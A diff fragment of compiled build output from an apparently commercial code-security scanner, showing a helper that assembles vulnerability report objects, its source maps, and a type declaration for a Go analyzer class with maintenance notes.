|
|
15
|
+
const params = paramsOrType;
|
|
16
|
+
const scoring = (0, severity_scoring_1.calculateSeverityScore)(params.category);
|
|
17
|
+
const compliance = (0, compliance_mapping_1.getComplianceMapping)(params.category);
|
|
18
|
+
return {
|
|
19
|
+
severity: params.severity,
|
|
20
|
+
message: params.message,
|
|
21
|
+
suggestion: params.suggestion,
|
|
22
|
+
line: params.line,
|
|
23
|
+
category: params.category,
|
|
24
|
+
securityRelevant: params.securityRelevant,
|
|
25
|
+
cvssScore: scoring.cvssScore,
|
|
26
|
+
exploitLikelihood: scoring.exploitLikelihood,
|
|
27
|
+
impact: scoring.impact,
|
|
28
|
+
owasp: params.owasp,
|
|
29
|
+
cwe: params.cwe,
|
|
30
|
+
pciDss: params.pciDss,
|
|
31
|
+
attackVector: {
|
|
32
|
+
description: params.attackVector.description,
|
|
33
|
+
exploitExample: params.attackVector.exploitExample || '',
|
|
34
|
+
realWorldImpact: params.attackVector.realWorldImpact
|
|
35
|
+
},
|
|
36
|
+
remediation: {
|
|
37
|
+
before: params.remediation.before,
|
|
38
|
+
after: params.remediation.after,
|
|
39
|
+
explanation: params.remediation.explanation
|
|
40
|
+
}
|
|
41
|
+
};
|
|
42
|
+
}
|
|
43
|
+
// Legacy 10-parameter signature (backward compatibility)
|
|
44
|
+
const vulnerabilityType = paramsOrType;
|
|
45
|
+
const scoring = (0, severity_scoring_1.calculateSeverityScore)(vulnerabilityType);
|
|
46
|
+
const compliance = (0, compliance_mapping_1.getComplianceMapping)(vulnerabilityType);
|
|
47
|
+
return {
|
|
48
|
+
severity: scoring.severity,
|
|
49
|
+
message: message,
|
|
50
|
+
suggestion: suggestion,
|
|
51
|
+
line: lineNumber,
|
|
52
|
+
category: vulnerabilityType,
|
|
53
|
+
cvssScore: scoring.cvssScore,
|
|
54
|
+
exploitLikelihood: scoring.exploitLikelihood,
|
|
55
|
+
impact: scoring.impact,
|
|
56
|
+
owasp: compliance.owasp,
|
|
57
|
+
cwe: compliance.cwe,
|
|
58
|
+
pciDss: compliance.pciDss,
|
|
59
|
+
attackVector: {
|
|
60
|
+
description: attackDescription,
|
|
61
|
+
exploitExample: exploitExample,
|
|
62
|
+
realWorldImpact: realWorldImpact
|
|
63
|
+
},
|
|
64
|
+
remediation: {
|
|
65
|
+
before: remediationBefore,
|
|
66
|
+
after: remediationAfter,
|
|
67
|
+
explanation: remediationExplanation
|
|
68
|
+
}
|
|
69
|
+
};
|
|
70
|
+
}
|
|
71
|
+
//# sourceMappingURL=createVulnerability.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"createVulnerability.js","sourceRoot":"","sources":["../../../../../../../../src/lib/analyzers/go/utils/createVulnerability.ts"],"names":[],"m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AC,WAAW,CAAC,KAAK;gBAC/B,WAAW,EAAE,MAAM,CAAC,WAAW,CAAC,WAAW;aAC5C;SACF,CAAC;IACJ,CAAC;IAED,yDAAyD;IACzD,MAAM,iBAAiB,GAAG,YAAsB,CAAC;IACjD,MAAM,OAAO,GAAG,IAAA,yCAAsB,EAAC,iBAAiB,CAAC,CAAC;IAC1D,MAAM,UAAU,GAAG,IAAA,yCAAoB,EAAC,iBAAiB,CAAC,CAAC;IAE3D,OAAO;QACL,QAAQ,EAAE,OAAO,CAAC,QAAQ;QAC1B,OAAO,EAAE,OAAQ;QACjB,UAAU,EAAE,UAAW;QACvB,IAAI,EAAE,UAAW;QACjB,QAAQ,EAAE,iBAAiB;QAC3B,SAAS,EAAE,OAAO,CAAC,SAAS;QAC5B,iBAAiB,EAAE,OAAO,CAAC,iBAAiB;QAC5C,MAAM,EAAE,OAAO,CAAC,MAAM;QACtB,KAAK,EAAE,UAAU,CAAC,KAAK;QACvB,GAAG,EAAE,UAAU,CAAC,GAAG;QACnB,MAAM,EAAE,UAAU,CAAC,MAAM;QACzB,YAAY,EAAE;YACZ,WAAW,EAAE,iBAAkB;YAC/B,cAAc,EAAE,cAAe;YAC/B,eAAe,EAAE,eAAgB;SAClC;QACD,WAAW,EAAE;YACX,MAAM,EAAE,iBAAkB;YAC1B,KAAK,EAAE,gBAAiB;YACxB,WAAW,EAAE,sBAAuB;SACrC;KACF,CAAC;AACJ,CAAC"}
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* ⚠️ SHARED MODULE: Go Security Analyzer
|
|
3
|
+
*
|
|
4
|
+
* CRITICAL: This module is used by BOTH WebTool and GitHub App
|
|
5
|
+
*
|
|
6
|
+
* WebTool uses this for:
|
|
7
|
+
* - /api/analyze endpoint - Interactive single-file analysis (<3s target)
|
|
8
|
+
* - Real-time vulnerability detection for individual developers
|
|
9
|
+
*
|
|
10
|
+
* GitHub App uses this for:
|
|
11
|
+
* - /api/github/webhook - Batch PR analysis (10-30s OK)
|
|
12
|
+
* - Automated security checks for professional teams
|
|
13
|
+
*
|
|
14
|
+
* ⚠️ BEFORE MODIFYING THIS FILE:
|
|
15
|
+
* 1. Run all analyzer tests: npm test analyzers
|
|
16
|
+
* 2. Test WebTool: Paste Go code at /analyze → Verify results
|
|
17
|
+
* 3. Test GitHub: Open PR with Go → Verify webhook comment
|
|
18
|
+
* 4. Verify performance: Analysis must complete in <2s per file
|
|
19
|
+
* 5. Check detection rate: All 26 Go checks must still detect
|
|
20
|
+
*
|
|
21
|
+
* CRITICAL OUTPUT FORMAT (DO NOT CHANGE):
|
|
22
|
+
* - result.security.vulnerabilities - Used by both systems
|
|
23
|
+
* - Each vulnerability has: line, message, severity, cvssScore, owasp, cwe
|
|
24
|
+
* - Changing this structure breaks BOTH WebTool and GitHub UI parsing
|
|
25
|
+
*
|
|
26
|
+
* See: docs/technical/WEBTOOL_GITHUB_SEPARATION.md
|
|
27
|
+
*
|
|
28
|
+
* Last modified: 2026-01-19
|
|
29
|
+
* Last verified (both systems): 2026-01-19
|
|
30
|
+
*/
|
|
31
|
+
import { ICodeAnalyzer, AnalyzerInput, AnalyzerResult } from './types';
|
|
32
|
+
import { SupportedLanguage } from '../types';
|
|
33
|
+
export declare class GoAnalyzer implements ICodeAnalyzer {
|
|
34
|
+
readonly language: SupportedLanguage;
|
|
35
|
+
analyze(input: AnalyzerInput): Promise<AnalyzerResult>;
|
|
36
|
+
validateSyntax(code: string): Promise<boolean>;
|
|
37
|
+
getLanguageInfo(): {
|
|
38
|
+
name: string;
|
|
39
|
+
extensions: string[];
|
|
40
|
+
description: string;
|
|
41
|
+
};
|
|
42
|
+
private analyzeSyntax;
|
|
43
|
+
private analyzeQuality;
|
|
44
|
+
private analyzePerformance;
|
|
45
|
+
private analyzeSecurity;
|
|
46
|
+
private calculateMetrics;
|
|
47
|
+
}
|
|
48
|
+
//# sourceMappingURL=go-analyzer.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"go-analyzer.d.ts","sourceRoot":"","sources":["../../../../../../src/lib/analyzers/go-analyzer.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA6BG;AAEH,OAAO,EAAE,aAAa,EAAE,aAAa,EAAE,cAAc,EAAoC,MAAM,SAAS,CAAC;AACzG,OAAO,EAAE,iBAAiB,EAAE,MAAM,UAAU,CAAC;AAc7C,qBAAa,UAAW,YAAW,aAAa;IAC9C,SAAgB,QAAQ,EAAE,iBAAiB,CAAQ;IAE7C,OAAO,CAAC,KAAK,EAAE,aAAa,GAAG,OAAO,CAAC,cAAc,CAAC;IA4BtD,cAAc,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC,OAAO,CAAC;IAoBpD,eAAe;;;;;IAQf,OAAO,CAAC,aAAa;IA4DrB,OAAO,CAAC,cAAc;IAyBtB,OAAO,CAAC,kBAAkB;IAO1B,OAAO,CAAC,eAAe;IA2CvB,OAAO,CAAC,gBAAgB;CA2BzB"}
|